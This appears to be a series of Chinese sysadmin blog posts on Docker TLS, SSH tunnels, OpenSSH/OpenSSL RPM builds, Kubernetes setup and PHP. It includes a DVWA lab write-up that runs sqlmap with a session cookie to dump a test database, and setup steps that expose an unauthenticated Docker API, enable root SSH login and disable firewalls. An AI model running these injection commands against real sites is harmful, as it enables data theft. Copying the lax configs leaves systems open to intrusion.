一、 Docker Server 开启 remote api

注意:
方法一和方法二冲突, 只需要配置一个即可

1.1 方法一、 编辑 docker.service

ExecStart=/usr/bin/dockerd -H fd:// \
-H tcp://0.0.0.0:2375 \
-H unix://var/run/docker.sock \
--containerd=/run/containerd/containerd.sock

1.2 方法二、 编辑 /etc/docker/daemon.json

{
"hosts": ["tcp://0.0.0.0:2375","unix:///var/run/docker.sock"]
}

1.3 验证 remote api 是否开启

docker -H tcp://0.0.0.0:2375 version

二、 开启TLS

注意:
docker server 主机上执行

2.1 生成 CA 私钥

openssl genrsa -aes256 -out ca-key.pem 4096

2.2 生成 CA 证书

openssl req -new -x509 -days 365 -sha256 \
-key ca-key.pem \
-out ca.pem \
-subj "/C=CN/ST=Zhejiang/L=Hangzhou/O=dockerapi/OU=dockerspi/CN=$HOST"

2.3 生成 Server 私钥

openssl genrsa -out server-key.pem 4096

2.4 生成 Server 证书请求

openssl req -subj "/CN=$HOST" -sha256 -new -key server-key.pem -out server.csr

echo subjectAltName = DNS:$HOST,IP:192.168.1.201,IP:127.0.0.1 >> extfile.cnf
echo extendedKeyUsage = serverAuth >> extfile.cnf

2.5 使用 CA证书 签署证书

openssl x509 -req -days 365 -sha256 -in server.csr \
-CA ca.pem -CAkey ca-key.pem \
-CAcreateserial -out server-cert.pem \
-extfile extfile.cnf

2.6 修改 service 文件

ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2376 \
--tlsverify \
--tlscacert=/etc/docker/ssl/ca.pem \ # ca 证书
--tlscert=/etc/docker/ssl/server-cert.pem\ # server 证书
--tlskey=/etc/docker/ssl/server-key.pem # server 私钥

systemctl daemon-reload
systemctl restart docker

三、 客户端配置

注意:
docker client 主机上执行

3.1 生成 client 私钥

openssl genrsa -out client-key.pem 4096

3.2 生成 client 证书请求

openssl req -subj '/CN=client' -new -key client-key.pem -out client.csr

3.3 使用 CA 签署证书

openssl x509 -req -days 365 -sha256 \
-in client.csr \
-CA ca.pem \
-CAkey ca-key.pem \
-CAcreateserial -out client-cert.pem \
-extfile extfile-client.cnf

3.4 访问验证

docker --tlsverify  \
--tlscacert=ca.pem \
--tlscert=client-cert.pem \
--tlskey=client-key.pem \
-H=192.168.1.201:2376 version

3.5 配置全局docker变量

mkdir -pv ~/.docker
cp ./ca.pem ~/.docker/ca.pem
cp ./client-cert.pem ~/.docker/cert.pem
cp ./client-key.pem ~/.docker/key.pem
export DOCKER_HOST=tcp://$HOST:2376 DOCKER_TLS_VERIFY=1

配置完成之后可以直接使用 docker ps 查看

四、 相关问题

4.1 cannot validate certificate for xx.xx.xx.xx because it doesn’t contain any IP SANs

解决: 证书生成的过程中要指定ip, 参照docker

零、 名词解释

本机: Windows 11 (192.168.1.25)
服务器: CentOS 7 (192.168.1.201)

SSH客户端: 192.168.1.25 OpenSSH_for_Windows_8.6p1, LibreSSL 3.4.3
SSH服务端: 192.168.1.201 OpenSSH_7.4p1, OpenSSL 1.0.2k-fips

一、 远程转发&本地转发

两个SSH客户端之间建立一个安全的通道
本地计算机上的端口转发到远程计算机上,或者反向转发,将远程计算机上的端口转发到本地计算机上

1.1 本地转发实例:

应用场景:

  • 绕过防火墙限制, 访问服务器任意资源.

Windows上执行:
ssh -L 8080:localhost:4000 user@remote_server

windows上的8080–>远程服务器的4000

1.2 远程转发实例:

192.168.1.201上执行:

ssh -R 8888:localhost:8006 root@192.168.1.200

访问192.168.1.201:8888 –> 192.168.1.200:8006

二、 动态转发(Dynamic Port Forwarding)

ssh -D $port -N user@host

SSH服务端和客户端建立加密连接
SSH客户端还会建立一个socks5代理, 所有从socks出去的流量,都通过这个加密连接转发。

应用场景:

  • 匿名访问互联网
  • 绕过防火墙限制

实例:
Windows上通过 ssh -D 5000 -N root@192.168.1.201与服务端建立ssh加密隧道
通过本地socks5的5000端口,实现Windows访问服务器192.168.1.201的任意资源.
图
图

环境

  • 硬件平台: PVE-KVM x86_64
  • 系统版本: CentOS 7.9 64bit
  • 当前软件版本: OpenSSH-7.4p1 OpenSSL-1.02K
  • 目标软件版本: OpenSSH-9.7p1 OpenSSL-1.1.1W

说明

  • OpenSSH-9.7p1依赖OpenSSL-1.1.1及以上版本, 请先升级OpenSSL, 参照这里
  • OpenSSH-8.6后默认为不允许root登录
  • 较新版本的CentOS7中 pam_stack.so模块已经被弃用删除, 请备份 /etc/pam.d/sshd
  • 默认允许使用PAM登录认证;
  • 默认允许使用X11Forwarding图形模块;
  • 需修改ssh_host_rsa_keyssh_host_ecdsa_keyssh_host_ed25519_key这三个文件的权限, OpenSSH-8.6之后缩小了这三个文件的权限为0600, 大于该权限将会导致SSHD启动失败

一、 OpenSSH rpm包构建

1.1 安装依赖

~]# yum install libXt libXt-devel imake gtk2-devel
~]# yum install rpm-build rpmlint rpmdevtools curl

1.2 rpmbuild 目录相关

注意:
下面两个操作请不要使用 root 用户操作

创建目录

~]$ mkdir -p ~/rpmbuild/{BUILD,BUILDROOT,RPMS,SOURCES,SPECS,SRPMS}

目录配置

~]$ echo "%_topdir %{getenv:HOME}/rpmbuild" > ~/.rpmmacros

  • %_topdir:RPM 构建的顶层目录宏
  • %{getenv:HOME}:获取用户主目录的环境变量
  • ~/.rpmmacros:用户 RPM 配置文件

1.3 下载源码

  • 下载 OpenSSH-9.7p1和x11-ssh-askpass-1.2.4.1源码到 ~/rpmbuild/SOURCES目录
~]$ curl -o ~/rpmbuild/SOURCES/openssh-9.7p1.tar.gz https://mirrors.aliyun.com/pub/OpenBSD/OpenSSH/portable/openssh-9.7p1.tar.gz
~]$ curl -o ~/rpmbuild/SOURCES/x11-ssh-askpass-1.2.4.1.tar.gz https://src.fedoraproject.org/repo/pkgs/openssh/x11-ssh-askpass-1.2.4.1.tar.gz/8f2e41f3f7eaa8543a2440454637f3c3/x11-ssh-askpass-1.2.4.1.tar.gz

1.4 配置 .SPEC文件

  • 从源码提取.SPEC 文件到SPEC目录

    ~]$ tar -xf ~/rpmbuild/SOURCES/openssh-9.7p1.tar.gz -C ~/rpmbuild/SPECS openssh-9.7p1/contrib/redhat/openssh.spec --strip-components=3 
  • 修改 .SPEC 文件 %pre server 区域新增如下配置, 备份ssh配置

    cp -Rf /etc/ssh{,.back}
  • 修改 .SPEC 文件 %post server 区域下面新增如下配置, 配置sshd

    sed -i -e "s/#PermitRootLogin prohibit-password/PermitRootLogin yes/g" /etc/ssh/sshd_config
    sed -i -e "s/#UsePAM no/UsePAM yes/g" /etc/ssh/sshd_config
    sed -i -e "s/#X11Forwarding no/X11Forwarding yes/g" /etc/ssh/sshd_config
    chmod +x /etc/init.d/sshd
    chmod 600 /etc/ssh/ssh_host_rsa_key
    chmod 600 /etc/ssh/ssh_host_ecdsa_key
    chmod 600 /etc/ssh/ssh_host_ed25519_key
  • 修改 .SPEC 文件 %install 保留原pam配置

    # 注释这行
    #install -m644 contrib/redhat/sshd.pam $RPM_BUILD_ROOT/etc/pam.d/sshd

    # 增加此行
    install -m644 /etc/pam.d/sshd $RPM_BUILD_ROOT/etc/pam.d/sshd
  • 修改%configure 选项, without_openssl选项关闭, 并添加openssl-1.1.1w的路径

    .... # 前面代码省略
    --with-ssl-dir=/usr/openssl \ # 根据 rpm 安装 openssl 的路径决定的
    # %if ! %{without_openssl}
    # --without-openssl \
    # %endif
    .... # 后面代码省略

1.5 检查 .SPEC 文件

如果没有 error就可以下一步构建了

[dev@pve-centos7 SPECS]$ rpmlint ./openssh.spec 
./openssh.spec:95: W: unversioned-explicit-obsoletes ssh
./openssh.spec:132: W: unversioned-explicit-obsoletes ssh-clients
./openssh.spec:137: W: unversioned-explicit-obsoletes ssh-server
./openssh.spec:147: W: unversioned-explicit-obsoletes ssh-extras
./openssh.spec:153: W: unversioned-explicit-obsoletes ssh-extras
./openssh.spec:280: W: macro-in-comment %{_bindir}
./openssh.spec:349: W: mixed-use-of-spaces-and-tabs (spaces: line 349, tab: line 208)
./openssh.spec: W: invalid-url Source1: http://www.jmknoble.net/software/x11-ssh-askpass/ x11-ssh-askpass-1.2.4.1.tar.gz <urlopen error unknown url type: socks5>
./openssh.spec: W: invalid-url Source0: https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/ openssh-9.7p1.tar.gz ''
0 packages and 1 specfiles checked; 0 errors, 9 warnings.
[dev@pve-centos7 SPECS]$

1.6 构建 OpenSSH rpm包

~] $ rpmbuild -ba ~/rpmbuild/SPECS/openssh.spec

如下结果一般就没什么问题了

图

二、 更新 OpenSSH-9.7p1

2.1 输出rpm包详情

[dev@pve-centos7 rpmbuild]$ tree -L 3 RPMS/
RPMS/
└── x86_64
├── openssh-9.7p1-1.el7.x86_64.rpm
├── openssh-askpass-9.7p1-1.el7.x86_64.rpm
├── openssh-askpass-gnome-9.7p1-1.el7.x86_64.rpm
├── openssh-clients-9.7p1-1.el7.x86_64.rpm
├── openssh-debuginfo-9.7p1-1.el7.x86_64.rpm
├── openssh-server-9.7p1-1.el7.x86_64.rpm
├── openssl-1.1.1w-1.el7.x86_64.rpm
├── openssl-debuginfo-1.1.1w-1.el7.x86_64.rpm
└── openssl-devel-1.1.1w-1.el7.x86_64.rpm
1 directory, 9 files
[dev@pve-centos7 rpmbuild]$

2.2 rpm -Uvh 更新 OpenSSH

注意:
更新的前提是, openssl 已经升级至 openssl-1.1.1w 版本

  • 升级openssh的时候, 涉及openssl相关的组件:
    • 只需要升级 openssl-1.1.1w
    • openssl-devel可以不升级
    • openssl-libs 切记不能升级
# 注意 openssl 的版本
[root@pve-centos7 x86_64]# rpm -aq | grep openssl
openssl-libs-1.0.2k-26.el7_9.x86_64
openssl-1.1.1w-1.el7.x86_64
openssl-devel-1.0.2k-1.el7.x86_64
[root@pve-centos7 x86_64]#

# 更新 openssh
[root@pve-centos7 x86_64]# rpm -Uvh openssh-9.7p1-1.el7.x86_64.rpm openssh-server-9.7p1-1.el7.x86_64.rpm openssh-clients-9.7p1-1.el7.x86_64.rpm
Preparing... ################################# [100%]
Updating / installing...
1:openssh-9.7p1-1.el7 ################################# [ 17%]
2:openssh-server-9.7p1-1.el7 ################################# [ 33%]
3:openssh-clients-9.7p1-1.el7 ################################# [ 50%]
Cleaning up / removing...
4:openssh-clients-7.4p1-23.el7_9 ################################# [ 67%]
5:openssh-server-7.4p1-23.el7_9 ################################# [ 83%]
6:openssh-7.4p1-23.el7_9 ################################# [100%]
[root@pve-centos7 x86_64]#

2.3 重启 OpenSSH

注意:
操作不当会导致sshd服务无法启动, 请确保你有其他登录服务器的方式

systemctl daemon-reload
systemctl restart sshd

三、 常见问题

3.1 ssh升级成功但是登录失败

  • 报错: PAM unable to dlopen(/usr/lib64/security/pam_stack.so): /usr/lib64/security/pam_stack.so: cannot open shared object file

  • 原因: pam_stack.so 在较新版本的CentOS中已经弃用并删除

  • 解决: 不升级 /etc/pam.d/sshd 文件, 或者使用旧版本的文件替换

3.2 yum update 报错

  • openssl更新到了 openssl-1.1.1w, 但是对应的openssl-devel和openssl-libs没有更新, 版本的原因, 也不推荐更新这两个
  • 解决: /etc/yum.conf 添加 exclude=openssl

四、 附件

环境介绍

一、 制作 OpenSSL RPM 包

1.1 安装依赖

~]# yum install rpm-build rpmlint rpmdevtools
~]# yum install -y gcc gcc-c++ make perl perl-WWW-Curl

1.2 配置 rpmbuild 工作目录

注意:
下面两个操作请不要使用 root 用户操作

创建所需目录
~]$ mkdir -p ~/rpmbuild/{BUILD,BUILDROOT,RPMS,SOURCES,SPECS,SRPMS}

  • BUILD: 用于存放编译过程中生成的文件
  • BUILDROOT:用于存放编译后的根文件系统
  • RPMS:用于存放编译后的 RPM 包
  • SOURCES:用于存放源代码包
  • SPECS:用于存放 RPM 规范文件
  • SRPMS:用于存放源 RPM 包

RPM包构建的顶层目录配置
~]$ echo "%_topdir %{getenv:HOME}/rpmbuild" > ~/.rpmmacros

  • %_topdir:RPM 构建的顶层目录宏
  • %{getenv:HOME}:获取用户主目录的环境变量
  • ~/.rpmmacros:用户 RPM 配置文件

该命令将 %_topdir 宏设置为用户主目录下的 rpmbuild 目录,并将其写入用户 RPM 配置文件~/.rpmmacros中, 其目的如下两条

  • 简化 RPM 包的构建过程
  • 无需在每个 RPM 规范文件中指定 %_topdir 宏的值

1.3 将压缩包放至 ~/rpmbuild/SOURCES目录

~]$ curl -o ~/rpmbuild/SOURCES/openssl-1.1.1w.tar.gz https://www.openssl.org/source/openssl-1.1.1w.tar.gz

1.4 编写 SPEC 文件

~]$ vim ~/rpmbuild/SPECS/openssl.spec

name:       openssl     
Version: 1.1.1w
Release: 1%{?dist}
Summary: Utilities from the general purpose cryptography library with TLS implementation
Group: System Environment/Libraries
License: GPLv2+
URL: https://www.openssl.org/
Source0: https://www.openssl.org/source/%{name}-%{version}.tar.gz
BuildRequires: make gcc perl perl-WWW-Curl
Requires: %{name} = %{version}-%{release}
BuildRoot: %_topdir/BUILDROOT

%global openssldir /usr/openssl

%description
The OpenSSL toolkit provides support for secure communications between
machines.

%package devel
Summary: Secure Sockets Layer and cryptography static libraries and headers
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}
%description devel
The OpenSSL devel tool

%prep
%setup -q

%build
./config --prefix=%{openssldir} --openssldir=%{openssldir}
make %{?_smp_mflags}

%install
[ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot}
%make_install
mkdir -p %{buildroot}%{_bindir}
mkdir -p %{buildroot}%{_libdir}
ln -sf %{openssldir}/lib/libssl.so.1.1 %{buildroot}%{_libdir}
ln -sf %{openssldir}/lib/libcrypto.so.1.1 %{buildroot}%{_libdir}
ln -sf %{openssldir}/bin/openssl %{buildroot}%{_bindir}

%clean
[ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot}

%files
%{openssldir}
%defattr(-,root,root)
%{_bindir}/openssl
%{_libdir}/libcrypto.so.1.1
%{_libdir}/libssl.so.1.1


%files devel
%{openssldir}/include/*
%defattr(-,root,root)


%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%changelog
* Fri Mar 08 2024 wanghuaizhuang <wangjingming@live.cn>
- Build for CentOS7.9

代码附件

openssl-1.1.1w.spec

1.5 验证 SPEC 文件

没有 error 即可
~]$ rpmlint ~/rpmbuild/SPECS/openssl.spec

1.6 构建

~] $ rpmbuild -D "version 1.1.1w" -ba ~/rpmbuild/SPECS/openssl.spec

参数解释:

  • ba 构建源代码rpm包和二进制rpm包
  • bb 只构建二进制rpm包
  • bs 只构建源代码rpm包
  • bp 执行至%prep阶段(解压源并应用补丁)
  • bc 执行至%build阶段(%prep,然后编译)
  • bi 执行至%install阶段(%prep,%build,然后安装)
  • bl 验证%files部分,查看文件是否存在

图

查看构建完成的rpm包

[dev@pve-centos7 ~]$ tree ~/rpmbuild/RPMS/
/home/dev/rpmbuild/RPMS/
└── x86_64
├── openssl-1.1.1w-1.el7.x86_64.rpm
├── openssl-debuginfo-1.1.1w-1.el7.x86_64.rpm
└── openssl-devel-1.1.1w-1.el7.x86_64.rpm

1 directory, 3 files
[dev@pve-centos7 ~]$

1.7 使用上述生成的rpm包更新本地openssl

卸载和安装都要指定 --nodeps
这里让我郁闷 (>_<) , 指定了 requires, 然后安装的时候 --nodeps

[root@pve-centos7 ~]# 
[root@pve-centos7 ~]# rpm -aq | grep openssl
openssl-1.0.2k-26.el7_9.x86_64
openssl-libs-1.0.2k-26.el7_9.x86_64
openssl-devel-1.0.2k-26.el7_9.x86_64
[root@pve-centos7 ~]# rpm -e openssl-1.0.2k-26.el7_9.x86_64 --nodeps
[root@pve-centos7 ~]#
[root@pve-centos7 ~]# rpm -ivh /home/dev/rpmbuild/RPMS/x86_64/openssl-1.1.1w-1.el7.x86_64.rpm --nodeps
Preparing... ################################# [100%]
Updating / installing...
1:openssl-1.1.1w-1.el7 ################################# [100%]
[root@pve-centos7 ~]#
[root@pve-centos7 ~]# openssl version
OpenSSL 1.1.1w 11 Sep 2023
[root@pve-centos7 ~]#

一些说明

上述 SPEC文件只构建了 opensslopenssl-developenssl-debuginfo三个包, 而且 更新之后 man openssl 会提示找不到手册
对比网上其他的SPEC文件少了很多内容, 后续会继续补充

下面是某个openssl的SPEC文件
图

二、 更新 OpenSSL

  • 卸载旧版本openssl
    rpm -e openssl --nodeps
  • 安装新版openssl
    rpm -ivh openss-1.1.1w-1.el7.rpm

零、 环境介绍

  • HW: 2c2g 20GB
  • OS: Rocky Linux 9.2
  • Master: 192.168.128.200
  • Node1: 192.168.128.204
  • Node2: 192.168.128.205

一、 服务器配置

  • 一台或多台服务器
  • 内存2GB或更多,CPU2核或更多,硬盘30GB或更多
  • 所有机器之间网络互通
  • 可以访问外网,需要拉取镜像
  • 禁止swap分区

1.1 禁止 SWAP 分区

编辑配置文件: /etc/fstab 注释相关分区, 重启系统

1.2 关闭防火墙

  • 三台服务器都需配置
    systemctl stop firewalld iptables
    systemctl disable firewalld iptables

1.3 关闭 SeLinux

  • 三台服务器都需配置
    sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

1.4 配置主机名

hostnamectl set-hostname k8s-master

主机 ip
k8s-master 192.168.128.200
k8s-node1 192.168.128.204
k8s-node2 192.168.128.205

1.5 配置解析

  • 三台服务器都需配置

    cat >> /etc/hosts << EOF
    192.168.128.200 k8s-master
    192.168.128.204 k8s-node1
    192.168.128.205 k8s-node2
    EOF

1.6 配置时间同步

  • 三台服务器都需配置
    systemctl enable chronyd --now

1.7 配置ipvs负载均衡

  • master 节点配置
    路径不同于CentOS7 的 /etc/sysconfig/modules

    # 安装相关软件包
    yum install ipset ipvsadm

    # 开启 ip_vs 配置文件
    cat > /etc/modules-load.d/ipvs.conf <<EOF
    ip_vs
    ip_vs_rr
    ip_vs_wrr
    ip_vs_sh
    nf_conntrack_ipv4
    EOF

    # 内核重新加载
    systemctl restart systemd-modules-load.service

    # 验证相关模块是否加载
    [root@k8s-master]# lsmod | grep ip_vs
    ip_vs_sh 16384 0
    ip_vs_wrr 16384 0
    ip_vs_rr 16384 0
    ip_vs 233472 6 ip_vs_rr,ip_vs_sh,ip_vs_wrr
    nf_conntrack 212992 3 nf_nat,nft_ct,ip_vs
    nf_defrag_ipv6 24576 2 nf_conntrack,ip_vs
    libcrc32c 16384 5 nf_conntrack,nf_nat,nf_tables,xfs,ip_vs

1.8 开启网络转发和桥接

  • 三台服务器都需配置
    cat >> /etc/sysctl.conf << EOF
    net.ipv4.ip_forward = 1
    net.bridge.bridge-nf-call-iptables = 1
    net.bridge.bridge-nf-call-ip6tables = 1
    EOF
    sysctl -p

1.9 修改源

  • 三台服务器都需配置
    sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \
    -e 's|^#baseurl=http://dl.rockylinux.org/$contentdir|baseurl=https://mirror.nju.edu.cn/rocky|g' \
    -i.bak \
    /etc/yum.repos.d/rocky-extras.repo \
    /etc/yum.repos.d/rocky.repo

1.10 containerd 部署

  • 三台服务器都需要部署
    yum install containerd.io
    containerd config default > /etc/containerd/config.toml
    systemctl restart containerd

二、 安装 k8s 组件

2.1 配置源

  • 三台服务器都需要操作
    cat >  /etc/yum.repos.d/kubernetes.repo << EOF
    [kubernetes]
    name=Kubernetes
    baseurl=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.28/rpm/
    enabled=1
    gpgcheck=1
    gpgkey=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.28/rpm/repodata/repomd.xml.key
    EOF

2.2 安装 K8S 软件包

  • 三台服务器都需要操作

yum install kubeadm kubelet kubectl kubernetes-cni cri-tools

2.3 配置 cri

  • 三台服务器都需要操作
    cat > /etc/crictl.yaml << EOF
    runtime-endpoint: unix:///run/containerd/containerd.sock
    image-endpoint: unix:///run/containerd/containerd.sock
    timeout: 10
    debug: true
    pull-image-on-create: false
    disable-pull-on-run: false
    EOF

一、 异常说明

某生产服务器 10.21.196.96 运行一个redis(容器), 存在高危漏洞, 历史遗留问题, 无法升级redis, 只能通过防火墙去限制redis端口的流量

无论怎么配置firewall, 对redis的6379端口就是不生效

二、 详情

2.1 猜测是因为容器的原因

添加容器相关接口:
firewall-cmd --zone=public --add-interface=docker0 --permanent
图
图

2.2 firewalld 添加接口报错

ERROR: '/usr/sbin/iptables-restore -w -n' failed: iptables-restore v1.8.5 (legacy): interface name `vethd6d63cd@if18' must be shorter than IFNAMSIZ (15)
图

添加接口的时候, 注意接口名称, ip link showifconfig 输出不一样

添加名称 vethd6d63cd@if18 这样的接口, 导致firewalld奔溃.

编辑配置文件: /etc/firewalld/zones/public.xml 删除<interface /> 重启 firewalld 即可

2.3 猜测 ipv6 的原因

同是ipv6, 2375端口就可以被firewalld控制, 6379不可以, 排除该选项!
图

2.4 关闭docker的iptables选项

编辑文件: /etc/docker/daemon.json

添加配置:

{
"iptables": false
}

重启docker后, firewall 可以正常控制端口流量.

三、 原因分析

下载了docker配置 "iptables": false 前后 iptables -nL 的输出

然而并没有什么不同.

一、 环境说明

靶机: 192.168.1.201 (DVWA 容器)
攻击: 192.168.1.15 (kali)
Security: Low

二、 SQL Injection

2.1 源码分析

  <?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

输入用户id, 参数传入之后没有任何过滤, 拼接成sql语句使用mysqli-query函数查询
测试 ' and 1=2, 根据 response 判断存在 字符串类型注入
图

这里使用Burp Suite
图

2.3 使用sqlmap对url进行检测

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low"

图

存在以下可以注入的类型:
UNION query SQL injection(可联合查询注入)
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)

枚举出 DBMS 所有数据库

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-- dbs

图

枚举出 DBMS 数据库中的所有表

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa --tables

图

枚举出 DBMS 表中的所有列

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa -T --columns

图

枚举所有数据

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa -T --columns -a

图

一、 介绍

Damn Vulnerable Web Application (DVWA)(译注:可以直译为:”该死的”不安全Web应用程序),是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。
它的主要目的是帮助信息安全专业人员在合法的环境中,练习技能和测试工具,帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性,并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。

DVWA的目的是通过简单明了的界面来练习一些最常见的 Web 漏洞,所练习的漏洞具有不同的难度级别。 请注意,此软件存在提示和无提示的漏洞。 这是特意为止。 我们鼓励您依靠自己的能力尝试并发现尽可能多的安全问题。

二、 部署

2.1 下载

https://github.com/digininja/DVWA

2.2 依赖安装

yum install httpd mariadb-server mariadb-client php php-mysqli php-gd

2.3 数据库配置 (mariadb)

create database dvwa;
create user dvwa@localhost identified by 'p@ssw0rd';
grant all on dvwa.* to dvwa@localhost;
flush privileges;

2.4 dvwa 配置

配置文件: config.ini.php

修改配置如下:

$_DVWA[ 'db_server'] = '127.0.0.1';
$_DVWA[ 'db_port'] = '3306';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_database' ] = 'dvwa';

2.5 httpd 配置

将dvwa 解压后放至 /var/www/html 目录, 注意权限问题

三、 DVWA 配置

3.1 php 模块配置

可以看到有几个 Disabled 状态的模块

PHP function display_errors: Disabled
PHP function display_startup_errors: Disabled
PHP function allow_url_include: Disabled

修改 /etc/php.ini
找到对应的配置修改配置 On 即可

图

3.2 配置数据

点击下面的 create/Reset Database 按钮后, 重新登录 dvwa 即可
图

四、 常见问题

4.1 httpd 403 forbident

关闭 selinux: setenforce 0

4.2 DVWA system error

注意配置文件的路径和名称
路径: ./config 目录下
名称: config.inc.php

五、 docker 部署

5.1 获取镜像

docker pull vulnerables/web-dvwa

5.2 启动容器

docker run -d --rm -p 80:80 vulnerables/web-dvwa:latest

5.3 allow_url_include 配置

路径: 容器:/etc/php/7.0/apache2/php.ini
使用docker cp 将文件复制出来, 修改完文件后, 复制进容器内替换文件, 然后重启容器.

一、 编译安装php8.3

  • 依赖
    yum -y install php-mcrypt libmcrypt-devel libxml2 libxml2-devel openssl openssl-devel curl-devel libjpeg-devel libpng-devel freetype-devel libmcrypt-devel libmemcached oniguruma-devel

  • 下载
    https://www.php.net/downloads.php

  • 解压
    tar -zxvf php-8.3.2.tar.gz

  • 生成配置
    ./buildconf

  • 编译选项

    ./configure  --enable-debug  --prefix=/usr/local/php-8.3.2 \
    --with-config-file-path=/usr/local/php-8.3.2/etc \
    --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd \
    --with-mysql-sock=/usr/local/mysql-5.7.44-el7-x86_64/mysql.sock \
    --enable-mysqlnd --with-iconv --enable-bcmath --enable-shmop --enable-sysvsem \
    --enable-mbregex --enable-fpm --enable-mbstring --enable-ftp --with-openssl \
    --enable-pcntl --enable-sockets --enable-soap --with-gettext \
    --with-curl

    注意参数: --with-mysql-sock=/usr/local/mysql-5.7.44-el7-x86_64/mysql.sock

  • 编译安装
    make -j4 && make test -j4 && make install

二、 配置PHP

2.1 php 配置文件

从源码里复制一份到安装目录
cp {path_2_your_php_source}/php.ini-development /usr/local/php/etc/php.ini

2.2 php-fpm 配置文件

cd /usr/local/php/etc/php-fpm.d/ && cp www.conf.default www.conf
cd /usr/local/php/etc && cp php-fpm.conf.default php-fpm.conf

2.3 修改 php-fpm 配置

文件: /usr/local/php/etc/php-fpm.conf
配置: pid = run/php-fpm.pid

2.4 修改 www.conf 配置

文件: /usr/local/php/etc/php-fpm.d/www.conf
配置: listen = 127.0.0.1:9000 (与nginx中的配置保持一致)

三、 配置 systemd

vim php-fpm.service

[Unit]
Description=The PHP FastCGI Process Manager
After=syslog.target network.target

[Service]
Type=simple
PIDFile=/usr/local/php/var/run/php-fpm.pid
ExecStart=/usr/local/php/sbin/php-fpm --nodaemonize --fpm-config /usr/local/php/etc/php-fpm.conf
ExecReload=/bin/kill -USR2 $MAINPID
ExecStop=/bin/kill -SIGINT $MAINPID

[Install]
WantedBy=multi-user.target

systemctl daemon-reload && systemctl enable php-fpm --now

3.1 Nginx 配置

vim php.conf

server {
listen 4433 default_server;
listen [::]:4433 default_server;
server_name 192.168.1.201;
root /var/www/;

location / {
index index.php index.html index.htm;
}

error_page 404 /404.html;
location = /40x.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}

location ~ \.php$ {
fastcgi_pass 127.0.0.1:19000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}

3.2 php_info

vim /var/www/index.php

<?php
phpinfo();

3.3 验证

图

initramfs 介绍

initramfs 全称为”initial RAM file system”,是一个临时的根文件系统,用于在 Linux 启动过程中初始化和加载真正的根文件系统之前提供必要的工具和驱动程序。它通常被用于启动过程中加载必要的驱动程序或工具,以便在切换到真正的根文件系统之前进行必要的准备工作。

Ubuntu 启动没有正常进入系统, 却进入了 initramfs 通常是因为某种问题阻止了正常启动, 可能原因如下:

  • 文件系统损坏
  • 硬件问题
  • 驱动程序问题
  • 引导程序配置错误

解决

根据上文的提示:

failure File system check of ro ot filesystem failed
The root filesystem on /dev/mapper/ubuntu–vg-ubuntu–lv requires a manual fsck

执行手动修复:
fsck /dev/mapper/ubuntu--vg-ubuntu--lv -y

initramfs下重启系统:
exit

图